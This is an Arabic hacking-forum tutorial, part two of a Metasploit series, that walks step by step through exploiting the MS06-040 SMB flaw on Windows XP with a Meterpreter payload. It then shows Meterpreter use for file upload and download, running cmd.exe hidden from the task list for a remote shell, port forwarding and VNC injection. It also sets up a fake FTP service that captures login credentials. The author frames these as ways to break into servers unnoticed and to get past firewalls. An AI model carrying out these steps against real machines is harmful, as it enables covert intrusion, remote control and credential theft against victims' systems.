مرحبا بكم من جديد ياأعضاء منتديات جيوش الهكر ، اليوم ان شاء الله راح نكمل بقية الجزء السابق وسنتناول بإذن الله موضوع الاستغلالات المتقدمة في مشروع ****sploit لنتابع ...
الاستغلالات المتقدمة في مشروع ****sploit
بشكل عام عندما نريد استغلال أي ثغرة Buffer Overflow موجودة في برنامج أو نظام تشغيل يجب أن نختار Payload أو مايعرف بالـ Shellcode وهو الكود الذي سيتم حقنه بالذاكرة وتشغيله بعد السيطرة على مسجّل EIP والتحكم في سير البرنامج (ان شاء الله سأبدأ بالكتابة عن ثغرات Buffer Overflow قريبا… ) الـ Shellcode هو مجموعة من الأوامر مبرمجة بلغة Assembly يستطيع المعالج فهمها وتنفيذها بشكل مباشر. يتميز ميتاسبلويت بأنه يحتوي على الكثير من الاستغلالات الجاهزة ويمكننا ببساطة صناعة الاستغلال الذي نريد بعد وضع الخيارات التي تناسبنا وتصديره لعدة صيغ مختلفة بكل سهولة! فباستخدام مشروع ****sploit ليس من الضروري أن تكون خبير بلغة Assembly لتتمكن صناعة شيل كود الخاص بك.
أهم الاستغلالات الموجودة وأقواها في مشروع ميتاسبلويت هو Meterpreter (خاص بنظام ويندوز فقط) يقوم هذا الاستغلال بحقن ملفات dll بنفس البرنامج/النظام الذي قمنا باستغلال الثغرة الموجودة فيه. هذا يعني أن مدير السيرفر لن يرى أي برنامج Process يعمل في قائمة المهام (لكن يمكن طبعا باستخدام أدوات متخصصة معرفة المكاتب الديناميكية المحملة للنظام لكني أتحدى أن أجد مدير أي سيرفر يستخدم أدوات مراقبة لهذه الدرجة!) أضف الى ذلك أننا سنحصل على تحكم أكثر من كامل في الجهاز وسنصبح قادرين على تشغيل عدة برامج تفاعلية بنفس الوقت دون أن نخسر الـ remote Shell بالاضافة لسهولة رفع وتنزيل الملفات وادارة الـ Processes التي تعمل بالجهاز والكثير من الأمور الأخرى ونستطيع القول أن هذا الاستغلال مشروع لوحده! حيث نستطيع برمجة سكريبتات واضافات خاصة له ومع كل تحديث يتم اضافة ميزات وقدرات جديدة له.
لنفرض أننا نريد استغلال الثغرة “windows/smb/ms06_040_netapi” وهي ثغرة أخرى بنفس خطورة الثغرة السابقة لكنها أقدم قليلا (اكتشفت في عامل 2006 بنظام Windows XP SP0/SP1) مع اختيار Meterpreter كـ Payload.. في البداية نشغّل سطر أوامر المشروع بتنفيذ الأمر:
ثم ننفّذ الأوامر التالية:
كود:
msf > use windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) > set RHOST 192.168.2.128
msf exploit(ms06_040_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(ms06_040_netapi) > set LPORT 22445
قمنا في الأوامر السابقة بادخلال اعدادات الثغرة (راجع الجزء رقم ( 1 ) لمزيد من التفاصيل) الآن يبقى علينا تنفيذ الأمر exploit لتنفيذ الثغرة وعمل سطر أوامر Meterpreter كما هو واضح بالصورة التالية:
كأي برنامج أو أداة أخرى يجب أن نبحث عن طريقة الاستخدام, بدون تفكير ننفّذ الأمر help لمعرفة أوامر Meterpreter وكيفية التعامل معه:
لاحظ الخيارات الكثيرة التي يوفرها لنا Meterpreter وكيف أنه سهّل علينا كثير من الأمور حاول أن تقرأ وظيفة كل أمر وتقوم بتجربته, مثلا لرفع ملف للجهاز لم نعد بحاجة لتشغيل سيرفر TFTP في جهازنا واستخدام TFTP Client الموجود في نظام ويندوز بل نستطيع القيام بذلك بكل سهولة عن طريق الأمر:
كود:
meterpreter > upload FILENAME
استبدل FINLENAME باسم الملف الذي تريد رفعه مع مراعاة وجوده داخل مجلد المشروع ولتحميل ملف نستخدم نفس الأمر السابق مع استبدال upload بـ download:
كود:
meterpreter > download FILENAME
من أكثر الأمور التي أعجبتني في Meterpreter هي قدرتنا على تشغيل عدة برامج تفاعلية بنفس الوقت مثل ftp أداة Netcat بعد رفعها للاتصال مع جهاز ثاني والكثير من البرامج التفاعلية الأخرى التي لا نستطيع تشغيلها باستخدام الـ remote shell العادي. في البداية ننفذ الأمر execute للاطلاع على الخيارات المتوفرة:
كود:
meterpreter > execute
مثلا ننفذ الأمر:
كود:
meterpreter > execute -H -i -f cmd.exe
ليتم تشغيل سطر أوامر نظام ويندوز والحصول على remote Shell كامل كما هو واضح في الصورة:
استخدمنا H لاخفاء البرنامج من قائمة مهام نظام ويندوز و i للتفاعل المباشر مع البرنامج وتستخدم f لتحديد البرنامج الذي نريد تشغيله.. نستطيع بأي وقت الخروج والعودة لسطر أوامر Meterpreter بتنفيذ الأمر exit أو الضغط على (Ctrl + C) حسناً ماذا لو لم نرد التفاعل مع البرنامج مباشرة وأردنا تشغيله في الخلفية مع بقائنا داخل سطر أوامر Meterpreter بهذه الحالة نستخدم c عوضا عن i:
كود:
meterpreter > execute -H -c -f cmd.exe
وعندما نريد التفاعل مع البرنامج ننفذ الأمر interact متبوعاً برقم الـ Channel بهذا الشكل:
كود:
meterpreter > interact 10
في حال قمنا بتشغيل أكثر من برنامج بالطريقة السابقة ننفذ الأمر:
كود:
meterpreter > channel -l
لاستعراض البرامج التي قمنا بتشغيلها, كذلك نستطيع الاطلاع على البرامج التي تعمل على الجهاز باستخدام الأمر:
ولايقاف تشغيل برنامج ننفذ الأمر:
كود:
meterpreter > kill PID
مع استبدال PID بعنوان البرنامج الذي نريد:
يوجد الكثير من الأوامر الأخرى بعضها مثل نظام لينوكس مثل ls , pwd , cat , mkdir , rmdir وأخرى متعلقة بالشبكات مثل ipconfig و route بالاضافة لأمر أعجبني هو portfwd أتوقع أن وظيفته واضحة.. لن أشرحه بل سأترككم لتجربوه بأنفسكم.
يوجد العديد من الاستغلالات الأخرى في مشروع ميتاسبلويت احداها vncinject الذي يقوم بحقن مكتبات dll خاصة ببرنامج RealVNC في الذاكرة مما يسمح لنا بالتحكم الكامل بسطح مكتب الجهاز الذي نجحنا باستغلال الثغرة الموجودة فيه:
وغيره الكثير مثل اضافة مستخدم جديد للنظام, رفع وتشغيل ملف, اتصال عكسي, فتح منفذ بالجهاز… كل ماعليك هو اختيار الاستغلال الأنسب فمثلا اذا كان الجهاز الذي نحاول اختراقه يستخدم جدار ناري فليس من الحكمة أن نختار استغلال يقوم بفتح منفذ بالجهاز bind_tcp لأننا ببساطة لن نتمكن من الاتصال به وبهذه الحالة يجب جعل الاستغلال اتصال عكسي reverse_tcp بعد التأكد من فتح المنفذ الذي قمنا باختياره في الجدار الناري الموجود في جهازنا وهكذا..
الأدوات المساعدة Auxiliary
شخصيا أجد أن الأدوات المساعدة المرفقة مع مشروع ميتاسبلويت من أجمل الأمور فيه فهي عبارة عن أدوات بسيطة تستخدم مكتبات مشروع ميتاسبلويت لتساعدنا في عملية الـ Penetration Testing واستغلال الثغرات, مثل Scanners, Fuzzers, Client Side/DoS Exploits , Fake Services… ونستطيع مشاهدة القائمة الكاملة بعد تشغيل الواجهة msfconsole وذلك بتنفيذ الأمر:
كود:
msf > show auxiliary
استخدام هذه الأدوات نفس طريقة استغلال الثغرات تماما ويأتي مع كل أداة شرح لوظيفتها وطريقة استخدامها, مثلا لنفرض أننا نريد انشاء خدمة FTP وهمية تقوم بالتقاط اسم المستخدم وكلمة المرور عند القيام بتسجيل الدخول, كل ماعلينا هو تنفيذ الأمر:
كود:
msf > use server/capture/ftp
ثم نحدد IP الجهاز الذي يعمل عليه المشروع, بتنفيذ الأمر:
كود:
msf auxiliary(ftp) > SET SRVHOST 192.168.2.1
وفي النهاية تنفيذ الأمر exploit لتشغيل الخدمة الوهمية, الآن في حال قام أي شخص بالاتصال بالجهاز عن طريق المنفذ 21 سنتمكن من التقاط اسم المستخدم وكلمة المرور التي قام بتسجيل الدخول بها.
ملاحظة: كوننا سنستخدم المنفذ 21 لتشغيل خدمة FTP الوهمية هذا سيتطلب منا تشغيل المشروع بصلاحيات root الا في حال قمنا باختيار منفذ ثان.
يوجد الكثير من الأدوات المساعدة الأخرى أنصح بتجربتها فاستخدامها ممتع وتفيدنا في الكثير من الأمور أثناء عملنا.
إلى هنا ونكون قد أنهينا الجزء الثاني بفضل الله ،وتابعونا في الجزء الثالث لمعرفة باقي الأستغلالات المتقدمة للمشروع إن شاء الله ، ترقبونا ...
ودمتم سالمين